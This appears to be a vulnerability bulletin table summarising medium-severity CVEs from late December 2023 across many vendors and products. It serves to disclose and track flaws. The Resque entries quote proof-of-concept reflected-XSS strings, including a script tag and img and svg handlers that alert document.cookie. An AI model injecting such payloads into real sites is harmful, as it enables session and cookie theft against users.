code-projects — intern_membership_management_system	A vulnerability was found in code-projects Intern Membership Management System 2.0 and classified as critical. Affected by this issue is some unknown functionality of the file /user_registration/ of the component User Registration. The manipulation of the argument userName leads to sql injection. The exploit has been disclosed to the public and may be used. VDB-249134 is the identifier assigned to this vulnerability.	2023-12-28	6.3	CVE-2023-7131 [email protected] [email protected] [email protected]
code-projects — point_of_sales_and_inventory_management_system	A vulnerability was found in code-projects Point of Sales and Inventory Management System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /main/checkout.php. The manipulation of the argument pt leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-248846 is the identifier assigned to this vulnerability.	2023-12-22	6.1	CVE-2023-7075 [email protected] [email protected] [email protected]
code-projects — voting_system	A vulnerability, which was classified as critical, was found in code-projects Voting System 1.0. Affected is an unknown function of the component Voters Login. The manipulation of the argument voter leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249132.	2023-12-28	5.5	CVE-2023-7129 [email protected] [email protected] [email protected]
concrete_cms — concrete_cms	Concrete CMS 9 before 9.2.3 is vulnerable to Cross Site Request Forgery (CSRF) via /ccm/system/dialogs/logs/delete_all/submit. An attacker can force an admin user to delete server report logs on a web application to which they are currently authenticated.	2023-12-25	4.3	CVE-2023-48652 [email protected] [email protected]
dell — cpg_bios	Dell BIOS contains an Improper Input Validation vulnerability. A local malicious user with high privileges could potentially exploit this vulnerability in order to corrupt memory on the system.	2023-12-22	6.7	CVE-2023-39251 [email protected]
dfir-iris — iris-web	Iris is a web collaborative platform aiming to help incident responders sharing technical details during investigations. A stored Cross-Site Scripting (XSS) vulnerability has been identified in iris-web, affecting multiple locations in versions prior to v2.3.7. The vulnerability may allow an attacker to inject malicious scripts into the application, which could then be executed when a user visits the affected locations. This could lead to unauthorized access, data theft, or other related malicious activities. An attacker need to be authenticated on the application to exploit this vulnerability. The issue is fixed in version v2.3.7 of iris-web. No known workarounds are available.	2023-12-22	4.6	CVE-2023-50712 [email protected] [email protected]
ffcss — ffcss	ffcss is a CLI interface to apply and configure Firefox CSS themes. Prior to 0.2.0, the function `lookupPreprocess()` is meant to apply some transformations to a string by disabling characters in the regex `[-_ .]`. However, due to the use of late Unicode normalization of type NFKD, it is possible to bypass that validation and re-introduce all the characters in the regex `[-_ .]`. The `lookupPreprocess()` can be easily bypassed with equivalent Unicode characters like U+FE4D (?), which would result in the omitted U+005F (_), for instance. The `lookupPreprocess()` function is only ever used to search for themes loosely (case insensitively, while ignoring dashes, underscores and dots), so the actual security impact is classified as low. This vulnerability is fixed in 0.2.0. There are no known workarounds.	2023-12-28	5.3	CVE-2023-52081 [email protected] [email protected]
gopeak — masterlab	A vulnerability classified as critical has been found in gopeak MasterLab up to 3.3.10. This affects the function sqlInject of the file app/ctrl/framework/Feature.php of the component HTTP POST Request Handler. The manipulation of the argument pwd leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249147.	2023-12-29	6.3	CVE-2023-7144 [email protected] [email protected] [email protected]
gopeak — masterlab	A vulnerability classified as critical was found in gopeak MasterLab up to 3.3.10. This vulnerability affects the function sqlInject of the file app/ctrl/Framework.php of the component HTTP POST Request Handler. The manipulation of the argument pwd leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249148.	2023-12-29	6.3	CVE-2023-7145 [email protected] [email protected] [email protected]
gopeak — masterlab	A vulnerability, which was classified as critical, has been found in gopeak MasterLab up to 3.3.10. This issue affects the function sqlInjectDelete of the file app/ctrl/framework/Feature.php of the component HTTP POST Request Handler. The manipulation of the argument phone leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier VDB-249149 was assigned to this vulnerability.	2023-12-29	6.3	CVE-2023-7146 [email protected] [email protected] [email protected]
gopeak — masterlab	A vulnerability, which was classified as critical, was found in gopeak MasterLab up to 3.3.10. Affected is the function base64ImageContent of the file app/ctrl/User.php. The manipulation of the argument image leads to unrestricted upload. It is possible to launch the attack remotely. VDB-249150 is the identifier assigned to this vulnerability.	2023-12-29	6.3	CVE-2023-7147 [email protected] [email protected] [email protected]
gopeak — masterlab	A vulnerability was found in gopeak MasterLab up to 3.3.10. It has been declared as critical. Affected by this vulnerability is the function add/update of the file app/ctrl/admin/User.php. The manipulation of the argument avatar leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249181 was assigned to this vulnerability.	2023-12-29	4.7	CVE-2023-7159 [email protected] [email protected] [email protected] [email protected]
gradio — gradio	Gradio is an open-source Python package that allows you to quickly build a demo or web application for your machine learning model, API, or any arbitary Python function. Versions of `gradio` prior to 4.11.0 contained a vulnerability in the `/file` route which made them susceptible to file traversal attacks in which an attacker could access arbitrary files on a machine running a Gradio app with a public URL (e.g. if the demo was created with `share=True`, or on Hugging Face Spaces) if they knew the path of files to look for. This issue has been patched in version 4.11.0.	2023-12-22	5.6	CVE-2023-51449 [email protected] [email protected] [email protected]
hail — hail	Hail is an open-source, general-purpose, Python-based data analysis tool with additional data types and methods for working with genomic data. Hail relies on OpenID Connect (OIDC) email addresses from ID tokens to verify the validity of a user’s domain, but because users have the ability to change their email address, they could create accounts and use resources in clusters that they should not have access to. For example, a user could create a Microsoft or Google account and then change their email to `[email protected]`. This account can then be used to create a Hail Batch account in Hail Batch clusters whose organization domain is `example.org`. The attacker is not able to access private data or impersonate another user, but they would have the ability to run jobs if Hail Batch billing projects are enabled and create Azure Tenants if they have Azure Active Directory Administrator access.	2023-12-29	5.3	CVE-2023-51663 [email protected]
hcl_software — hcl_launch	An HCL UrbanCode Deploy Agent installed as a Windows service in a non-standard location could be subject to a denial of service attack by local accounts.	2023-12-28	6.2	CVE-2023-45702 [email protected]
hcl_software — hcl_launch	HCL Launch could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system.	2023-12-28	4.3	CVE-2023-45701 [email protected]
honor — fri-an00	Some Honor products are affected by file writing vulnerability, successful exploitation could cause information disclosure.	2023-12-29	6.6	CVE-2023-23426 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — honorboardapp	Some Honor products are affected by information leak vulnerability; successful exploitation could cause the information leak.	2023-12-29	4	CVE-2023-23434 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — lge-an00	Some Honor products are affected by incorrect privilege assignment vulnerability; successful exploitation could cause device service exceptions.	2023-12-29	4	CVE-2023-23438 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — lge-an00	Some Honor products are affected by information leak vulnerability; successful exploitation could cause the information leak.	2023-12-29	4	CVE-2023-23439 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_os	Some Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause information leak.	2023-12-29	6	CVE-2023-51429 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_os	Some Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause device service exceptions.	2023-12-29	4	CVE-2023-23427 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_os	Some Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause device service exceptions.	2023-12-29	4	CVE-2023-23429 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_os	Some Honor products are affected by type confusion vulnerability; successful exploitation could cause information leak.	2023-12-29	4.6	CVE-2023-23442 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_os	Some Honor products are affected by type confusion vulnerability; successful exploitation could cause information leak.	2023-12-29	4.6	CVE-2023-23443 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_os	Some Honor products are affected by type confusion vulnerability, successful exploitation could cause information leak.	2023-12-29	4.6	CVE-2023-51426 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_os	Some Honor products are affected by type confusion vulnerability, successful exploitation could cause information leak.	2023-12-29	4.6	CVE-2023-51427 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_os	Some Honor products are affected by type confusion vulnerability, successful exploitation could cause information leak.	2023-12-29	4.6	CVE-2023-51428 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_os	Some Honor products are affected by signature management vulnerability, successful exploitation could cause the forged system file to overwrite the correct system file.	2023-12-29	4	CVE-2023-23435 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_ui	Some Honor products are affected by out of bounds read vulnerability, successful exploitation could cause information leak.	2023-12-29	6	CVE-2023-23441 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_ui	Some Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause information leak.	2023-12-29	4.4	CVE-2023-51430 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_ui	Some Honor products are affected by type confusion vulnerability, successful exploitation could cause denial of service.	2023-12-29	4	CVE-2023-6939 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — nth-an00	Some Honor products are affected by file writing vulnerability, successful exploitation could cause code execution	2023-12-29	6.5	CVE-2023-23424 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — nth-an00	Some Honor products are affected by signature management vulnerability, successful exploitation could cause the forged system file to overwrite the correct system file.	2023-12-29	4	CVE-2023-23433 3836d913-7555-4dd0-a509-f5667fdf5fe4
ibm — aix	IBM AIX 7.2 and 7.3 could allow a non-privileged local user to exploit a vulnerability in the AIX SMB client to cause a denial of service. IBM X-Force ID: 267963.	2023-12-22	5.5	CVE-2023-45165 [email protected] [email protected]
instipod — duouniversalkeycloakauthenticator	An information disclosure vulnerability exists in the challenge functionality of instipod DuoUniversalKeycloakAuthenticator 1.0.7 plugin. A specially crafted HTTP request can lead to a disclosure of sensitive information. A user login to Keycloak using DuoUniversalKeycloakAuthenticator plugin triggers this vulnerability.	2023-12-23	4.5	CVE-2023-49594 [email protected] [email protected]
kylinsoft — kylin-system-updater	A vulnerability classified as critical has been found in KylinSoft kylin-system-updater up to 2.0.5.16-0k2.33. Affected is an unknown function of the file /usr/share/kylin-system-updater/SystemUpdater/UpgradeStrategiesDbus.py of the component com.kylin.systemupgrade Service. The manipulation of the argument SetDownloadspeedMax leads to os command injection. The attack needs to be approached locally. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248940. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2023-12-25	5.3	CVE-2023-7093 [email protected] [email protected] [email protected]
mediawiki — mediawiki	An issue was discovered in MediaWiki before 1.35.14, 1.36.x through 1.39.x before 1.39.6, and 1.40.x before 1.40.2. In includes/logging/RightsLogFormatter.php, group-*-member messages can result in XSS on Special:log/rights.	2023-12-22	6.1	CVE-2023-51704 [email protected]
metersphere — metersphere	MeterSphere is a one-stop open source continuous testing platform. Prior to 2.10.10-lts, the authenticated attackers can update resources which don’t belong to him if the resource ID is known. This issue if fixed in 2.10.10-lts. There are no known workarounds.	2023-12-28	4.3	CVE-2023-50267 [email protected]
micropython — micropython	A vulnerability, which was classified as critical, has been found in MicroPython 1.21.0/1.22.0-preview. Affected by this issue is the function poll_set_add_fd of the file extmod/modselect.c. The manipulation leads to use after free. The exploit has been disclosed to the public and may be used. The patch is identified as 8b24aa36ba978eafc6114b6798b47b7bfecdca26. It is recommended to apply a patch to fix this issue. VDB-249158 is the identifier assigned to this vulnerability.	2023-12-29	5.5	CVE-2023-7152 [email protected] [email protected] [email protected] [email protected]
moxa — iologik_e1200	A weak cryptographic algorithm vulnerability has been identified in ioLogik E1200 Series firmware versions v3.3 and prior. This vulnerability can help an attacker compromise the confidentiality of sensitive data. This vulnerability may lead an attacker to get unexpected authorization.	2023-12-23	6.5	CVE-2023-5962 [email protected]
msgpackr — msgpackr	msgpackr is a fast MessagePack NodeJS/JavaScript implementation. Prior to 1.10.1, when decoding user supplied MessagePack messages, users can trigger stuck threads by crafting messages that keep the decoder stuck in a loop. The fix is available in v1.10.1. Exploits seem to require structured cloning, replacing the 0x70 extension with your own (that throws an error or does something other than recursive referencing) should mitigate the issue.	2023-12-28	6.8	CVE-2023-52079 [email protected] [email protected]
netentsec — ns-asg_application_security_gateway	A vulnerability classified as problematic was found in Netentsec NS-ASG Application Security Gateway 6.3. Affected by this vulnerability is an unknown functionality of the file /protocol/nsasg6.0.tgz. The manipulation leads to information disclosure. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-248941 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2023-12-25	5.3	CVE-2023-7094 [email protected] [email protected] [email protected]
nextcloud — nextcloud	The Nextcloud iOS Files app allows users of iOS to interact with Nextcloud, a self-hosted productivity platform. Prior to version 4.9.2, the application can be used without providing the 4-digit PIN code. Nextcloud iOS Files app should be upgraded to 4.9.2 to receive the patch. No known workarounds are available.	2023-12-22	4.3	CVE-2023-49790 [email protected] [email protected] [email protected]
nextcloud — server/enterprise_server	Nextcloud Server provides data storage for Nextcloud, an open source cloud platform. In Nextcloud Server prior to versions 26.0.9 and 27.1.4; as well as Nextcloud Enterprise Server prior to versions 23.0.12.13, 24.0.12.9, 25.0.13.4, 26.0.9, and 27.1.4; when an attacker manages to get access to an active session of another user via another way, they could delete and modify workflows by sending calls directly to the API bypassing the password confirmation shown in the UI. Nextcloud Server versions 26.0.9 and 27.1.4 and Nextcloud Enterprise Server versions 23.0.12.13, 24.0.12.9, 25.0.13.4, 26.0.9, and 27.1.4 contain a patch for this issue. No known workarounds are available.	2023-12-22	5.4	CVE-2023-49791 [email protected] [email protected] [email protected]
nextcloud — server/enterprise_server	Nextcloud Server provides data storage for Nextcloud, an open source cloud platform. In Nextcloud Server prior to versions 26.0.9 and 27.1.4; as well as Nextcloud Enterprise Server prior to versions 23.0.12.13, 24.0.12.9, 25.0.13.4, 26.0.9, and 27.1.4; when a (reverse) proxy is configured as trusted proxy the server could be tricked into reading a wrong remote address for an attacker, allowing them executing authentication attempts than intended. Nextcloud Server versions 26.0.9 and 27.1.4 and Nextcloud Enterprise Server versions 23.0.12.13, 24.0.12.9, 25.0.13.4, 26.0.9, and 27.1.4 contain a patch for this issue. No known workarounds are available.	2023-12-22	5.3	CVE-2023-49792 [email protected] [email protected] [email protected]
own_health_record — own_health_record	A vulnerability was found in MdAlAmin-aol Own Health Record 0.1-alpha/0.2-alpha/0.3-alpha/0.3.1-alpha. It has been rated as problematic. This issue affects some unknown processing of the file includes/logout.php. The manipulation leads to cross-site request forgery. The attack may be initiated remotely. Upgrading to version 0.4-alpha is able to address this issue. The patch is named 58b413aa40820b49070782c786c526850ab7748f. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-249191.	2023-12-30	4.3	CVE-2018-25096 [email protected] [email protected] [email protected] [email protected]
pandora_fms — pandora_fms	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Pandora FMS on all allows Cross-Site Scripting (XSS). It was possible to execute malicious JS code on Visual Consoles. This issue affects Pandora FMS: from 700 through 774.	2023-12-29	6.1	CVE-2023-44089 [email protected]
pandora_fms — pandora_fms	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Pandora FMS on all allows SQL Injection. Arbitrary SQL queries were allowed to be executed using any account with low privileges. This issue affects Pandora FMS: from 700 through 774.	2023-12-29	5.9	CVE-2023-44088 [email protected]
pexip — pexip_infinity	Pexip Infinity before 32 allows Webapp1 XSS via preconfigured links.	2023-12-25	6.1	CVE-2023-37225 [email protected]
pexip — virtual_meeting_rooms	In Pexip VMR self-service portal before 3, the same SSH host key is used across different customers’ installations, which allows authentication bypass.	2023-12-25	5.3	CVE-2023-40236 [email protected]
phpgurukul — hospital_management_system	A vulnerability, which was classified as problematic, was found in PHPGurukul Hospital Management System 1.0. This affects an unknown part of the file registration.php. The manipulation of the argument First Name leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249357 was assigned to this vulnerability.	2023-12-30	4.3	CVE-2023-7173 [email protected] [email protected] [email protected] [email protected]
phpgurukul — online_notes_sharing_system	A vulnerability was found in PHPGurukul Online Notes Sharing System 1.0. It has been rated as problematic. This issue affects some unknown processing of the file /user/add-notes.php. The manipulation leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-248741 was assigned to this vulnerability.	2023-12-22	5.4	CVE-2023-7054 [email protected] [email protected] [email protected]
phpgurukul — online_notes_sharing_system	A vulnerability classified as problematic has been found in PHPGurukul Online Notes Sharing System 1.0. Affected is an unknown function of the file /user/profile.php of the component Contact Information Handler. The manipulation of the argument mobilenumber leads to improper access controls. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-248742 is the identifier assigned to this vulnerability.	2023-12-22	5.4	CVE-2023-7055 [email protected] [email protected] [email protected]
phpgurukul — online_notes_sharing_system	A vulnerability was found in PHPGurukul Online Notes Sharing System 1.0. It has been classified as problematic. This affects an unknown part of the file /user/profile.php. The manipulation of the argument name leads to cross-site request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-248739.	2023-12-22	4.3	CVE-2023-7052 [email protected] [email protected] [email protected]
poly — multiple_products	A vulnerability classified as problematic was found in Poly CCX 400, CCX 600, Trio 8800 and Trio C60. This vulnerability affects unknown code of the component HTTP Header Handler. The manipulation of the argument Cookie leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249256.	2023-12-29	5.3	CVE-2023-4463 [email protected] [email protected] [email protected] [email protected]
poly — trio_8800	A vulnerability was found in Poly Trio 8800 7.2.6.0019 and classified as critical. Affected by this issue is some unknown functionality of the component Test Automation Mode. The manipulation leads to backdoor. It is possible to launch the attack on the physical device. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249260.	2023-12-29	6.2	CVE-2023-4467 [email protected] [email protected] [email protected] [email protected]
poly — trio_8800/trio_c60	A vulnerability was found in Poly Trio 8800 and Trio C60. It has been classified as problematic. This affects an unknown part of the component Poly Lens Management Cloud Registration. The manipulation leads to missing authorization. It is possible to launch the attack on the physical device. The exploit has been disclosed to the public and may be used. The identifier VDB-249261 was assigned to this vulnerability.	2023-12-29	4.3	CVE-2023-4468 [email protected] [email protected] [email protected] [email protected]
pymedusa — medusa	Medusa is an automatic video library manager for TV shows. Versions prior to 1.0.19 are vulnerable to unauthenticated blind server-side request forgery (SSRF). The `testDiscord` request handler in `medusa/server/web/home/handler.py` does not validate the user-controlled `discord_webhook` variable and passes it to the `notifiers.discord_notifier.test_notify` method, then `_notify_discord` and finally `_send_discord_msg` method, which sends a POST request to the user-controlled URL on line 64 in `/medusa/notifiers/discord.py`, which leads to a blind server-side request forgery. This issue allows for crafting POST requests on behalf of the Medusa server. Version 1.0.19 contains a fix for the issue.	2023-12-22	5.3	CVE-2023-50258 [email protected] [email protected] [email protected] [email protected] [email protected]
pymedusa — medusa	Medusa is an automatic video library manager for TV shows. Versions prior to 1.0.19 are vulnerable to unauthenticated blind server-side request forgery (SSRF). The `testslack` request handler in `medusa/server/web/home/handler.py` does not validate the user-controlled `slack_webhook` variable and passes it to the `notifiers.slack_notifier.test_notify` method, then `_notify_slack` and finally `_send_slack` method, which sends a POST request to the user-controlled URL on line 103 in `/medusa/notifiers/slack.py`, which leads to a blind server-side request forgery (SSRF). This issue allows for crafting POST requests on behalf of the Medusa server. Version 1.0.19 contains a fix for the issue.	2023-12-22	5.3	CVE-2023-50259 [email protected] [email protected] [email protected] [email protected] [email protected]
red_hat — multiple_products	A flaw was found in shadow-utils. When asking for a new password, shadow-utils asks the password twice. If the password fails on the second attempt, shadow-utils fails in cleaning the buffer used to store the first entry. This may allow an attacker with enough access to retrieve the password from the memory.	2023-12-27	4.7	CVE-2023-4641 [email protected] [email protected] [email protected] [email protected]
red_hat — multiple_products	A vulnerability was found in systemd-resolved. This issue may allow systemd-resolved to accept records of DNSSEC-signed domains even when they have no signature, allowing man-in-the-middles (or the upstream DNS resolver) to manipulate records.	2023-12-23	5.9	CVE-2023-7008 [email protected] [email protected] [email protected] [email protected]
resque — resque	Resque is a Redis-backed Ruby library for creating background jobs, placing them on multiple queues, and processing them later. The following paths in resque-web have been found to be vulnerable to reflected XSS: “/failed/?class=<script>alert(document.cookie)</script>” and “/queues/><img src=a onerror=alert(document.cookie)>”. This issue has been patched in version 2.2.1.	2023-12-22	6.3	CVE-2023-50725 [email protected] [email protected] [email protected] [email protected]
resque — resque	Resque is a Redis-backed Ruby library for creating background jobs, placing them on multiple queues, and processing them later. Reflected XSS issue occurs when /queues is appended with /”><svg%20onload=alert(domain)>. This issue has been patched in version 2.6.0.	2023-12-22	6.3	CVE-2023-50727 [email protected] [email protected] [email protected]
sentry — symbolicator	Symbolicator is a service used in Sentry. Starting in Symbolicator version 0.3.3 and prior to version 21.12.1, an attacker could make Symbolicator send GET HTTP requests to arbitrary URLs with internal IP addresses by using an invalid protocol. The responses of those requests could be exposed via Symbolicator’s API. In affected Sentry instances, the data could be exposed through the Sentry API and user interface if the attacker has a registered account. The issue has been fixed in Symbolicator release 23.12.1, Sentry self-hosted release 23.12.1, and has already been mitigated on sentry.io on December 18, 2023. If updating is not possible, some other mitigations are available. One may disable JS processing by toggling the option `Allow JavaScript Source Fetching` in `Organization Settings > Security & Privacy` and/or disable all untrusted public repositories under `Project Settings > Debug Files`. Alternatively, if JavaScript and native symbolication are not required, disable Symbolicator completely in `config.yml`.	2023-12-22	4.3	CVE-2023-51451 [email protected] [email protected] [email protected] [email protected]
shifuml — shifu	A vulnerability has been found in ShifuML shifu 0.12.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file src/main/java/ml/shifu/shifu/core/DataPurifier.java of the component Java Expression Language Handler. The manipulation of the argument FilterExpression leads to code injection. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249151.	2023-12-29	5	CVE-2023-7148 [email protected] [email protected] [email protected]
snowflakedb — snowflake-connector-net	The Snowflake .NET driver provides an interface to the Microsoft .NET open source software framework for developing applications. Snowflake recently received a report about a vulnerability in the Snowflake Connector .NET where the checks against the Certificate Revocation List (CRL) were not performed where the insecureMode flag was set to false, which is the default setting. The vulnerability affects versions between 2.0.25 and 2.1.4 (inclusive). Snowflake fixed the issue in version 2.1.5.	2023-12-22	6	CVE-2023-51662 [email protected] [email protected]
sourcecodester — free_and_open_source_inventory_management_system	A vulnerability, which was classified as critical, was found in SourceCodester Free and Open Source Inventory Management System 1.0. This affects an unknown part of the file /ample/app/action/edit_product.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249177 was assigned to this vulnerability.	2023-12-29	6.3	CVE-2023-7155 [email protected] [email protected] [email protected]
sourcecodester — free_and_open_source_inventory_management_system	A vulnerability was found in SourceCodester Free and Open Source Inventory Management System 1.0 and classified as critical. This issue affects some unknown processing of the file /app/ajax/sell_return_data.php. The manipulation of the argument columns[0][data] leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249179.	2023-12-29	6.3	CVE-2023-7157 [email protected] [email protected] [email protected]
sourcecodester — medicine_tracking_system	A vulnerability, which was classified as critical, has been found in SourceCodester Medicine Tracking System 1.0. This issue affects some unknown processing of the file /classes/Master.php? f=save_medicine. The manipulation of the argument id/name/description leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249095.	2023-12-28	6.3	CVE-2023-7123 [email protected] [email protected] [email protected]
sourcecodester — medicine_tracking_system	A vulnerability was found in SourceCodester Medicine Tracking System 1.0. It has been rated as critical. This issue affects some unknown processing. The manipulation of the argument page leads to path traversal: ‘../filedir’. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249137 was assigned to this vulnerability.	2023-12-28	6.3	CVE-2023-7134 [email protected] [email protected] [email protected]
sourcecodester — school_visitor_log_e-book	A vulnerability was found in SourceCodester School Visitor Log e-Book 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the file log-book.php. The manipulation of the argument Full Name leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-248750 is the identifier assigned to this vulnerability.	2023-12-22	5.4	CVE-2023-7059 [email protected] [email protected] [email protected]
sqlite — sqlite3	A vulnerability was found in SQLite SQLite3 up to 3.43.0 and classified as critical. This issue affects the function sessionReadRecord of the file ext/session/sqlite3session.c of the component make alltest Handler. The manipulation leads to heap-based buffer overflow. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-248999.	2023-12-29	5.5	CVE-2023-7104 [email protected] [email protected] [email protected] [email protected]
sudo — sudo	A flaw was found in sudo in the handling of ipa_hostname, where ipa_hostname from /etc/sssd/sssd.conf was not propagated in sudo. Therefore, it leads to privilege mismanagement vulnerability in applications, where client hosts retain privileges even after retracting them.	2023-12-23	6.6	CVE-2023-7090 [email protected] [email protected] [email protected]
talent_software — ecop	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Talent Software ECOP allows Reflected XSS. This issue affects ECOP: before 32255.	2023-12-28	6.1	CVE-2023-4672 [email protected]
tongda — office_anywhere	A vulnerability has been found in Tongda OA 2017 up to 11.9 and classified as critical. Affected by this vulnerability is an unknown functionality of the file general/project/proj/delete.php. The manipulation of the argument PROJ_ID_STR leads to sql injection. The exploit has been disclosed to the public and may be used. Upgrading to version 11.10 is able to address this issue. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-249367. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2023-12-30	5.5	CVE-2023-7180 [email protected] [email protected] [email protected]
uniway — uw-302vp	A vulnerability was found in Uniway UW-302VP 2.0. It has been rated as problematic. This issue affects some unknown processing of the file /boaform/wlan_basic_set.cgi of the component Admin Web Interface. The manipulation of the argument wlanssid/password leads to cross-site request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-248939. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2023-12-24	4.3	CVE-2023-7092 [email protected] [email protected] [email protected]
weiye-jing — datax-web	A vulnerability, which was classified as critical, has been found in WeiYe-Jing datax-web 2.1.2. Affected by this issue is some unknown functionality of the file /api/log/killJob of the component HTTP POST Request Handler. The manipulation of the argument processId leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249086 is the identifier assigned to this vulnerability.	2023-12-27	6.3	CVE-2023-7116 [email protected] [email protected] [email protected]
wordpress — wordpress	The Widget Settings Importer/Exporter Plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the wp_ajax_import_widget_dataparameter AJAX action in versions up to, and including, 1.5.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers with subscriber-level permissions and above to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2023-12-23	5.4	CVE-2020-36769 [email protected] [email protected]
wordpress — wordpress	Deserialization of Untrusted Data vulnerability in Gesundheit Bewegt GmbH Zippy. This issue affects Zippy: from n/a through 1.6.5.	2023-12-28	6.6	CVE-2023-36381 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Themeum WP Crowdfunding allows Stored XSS. This issue affects WP Crowdfunding: from n/a through 2.1.6.	2023-12-28	6.5	CVE-2023-50859 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in TMS Booking for Appointments and Events Calendar – Amelia allows Stored XSS. This issue affects Booking for Appointments and Events Calendar – Amelia: from n/a through 1.0.85.	2023-12-28	6.5	CVE-2023-50860 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Darren Cooney WordPress Infinite Scroll – Ajax Load More allows Stored XSS. This issue affects WordPress Infinite Scroll – Ajax Load More: from n/a through 6.1.0.1.	2023-12-28	6.5	CVE-2023-50874 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Automattic WordPress.Com Editing Toolkit allows Stored XSS. This issue affects WordPress.Com Editing Toolkit: from n/a through 3.78784.	2023-12-29	6.5	CVE-2023-50879 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in The BuddyPress Community BuddyPress allows Stored XSS. This issue affects BuddyPress: from n/a through 11.3.1.	2023-12-29	6.5	CVE-2023-50880 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in AAM Advanced Access Manager – Restricted Content, Users & Roles, Enhanced Security and More allows Stored XSS. This issue affects Advanced Access Manager – Restricted Content, Users & Roles, Enhanced Security and More: from n/a through 6.9.15.	2023-12-29	6.5	CVE-2023-50881 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in The Beaver Builder Team Beaver Builder – WordPress Page Builder allows Stored XSS. This issue affects Beaver Builder – WordPress Page Builder: from n/a through 2.7.2.	2023-12-29	6.5	CVE-2023-50889 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Zoho Forms Form plugin for WordPress – Zoho Forms allows Stored XSS. This issue affects Form plugin for WordPress – Zoho Forms: from n/a through 3.0.1.	2023-12-29	6.5	CVE-2023-50891 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Brizy.Io Brizy – Page Builder allows Stored XSS. This issue affects Brizy – Page Builder: from n/a through 2.4.29.	2023-12-29	6.5	CVE-2023-51396 [email protected]
